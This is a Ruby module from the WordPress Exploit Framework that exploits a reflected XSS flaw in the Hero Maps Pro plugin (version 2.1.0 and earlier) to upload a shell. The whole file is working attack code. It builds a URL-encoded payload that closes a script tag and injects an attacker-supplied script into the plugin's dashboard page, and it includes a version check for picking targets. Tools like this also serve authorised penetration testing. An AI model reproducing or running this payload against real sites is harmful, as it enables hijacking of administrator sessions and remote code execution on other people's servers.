# frozen_string_literal: true

class Wpxf::Exploit::HeroMapsProReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Hero Maps Pro <= 2.1.0 Reflected XSS Shell Upload',
      author: [
        'Larry W. Cashdollar', # Discovery
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8447'],
        ['URL', 'http://www.vapidlabs.com/wp/wp_advisory.php?v=658']
      ],
      date: 'Feb 09 2016'
    )
  end

  def check
    check_plugin_version_from_readme('hero-maps-pro', '2.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'hero-maps-pro', 'views', 'dashboard', 'index.php')
  end

  def url_with_xss
    "#{vulnerable_url}?v=%22%3E%3C/script%3E%3Cscript%3E#{xss_ascii_encoded_include_script}//"
  end
end
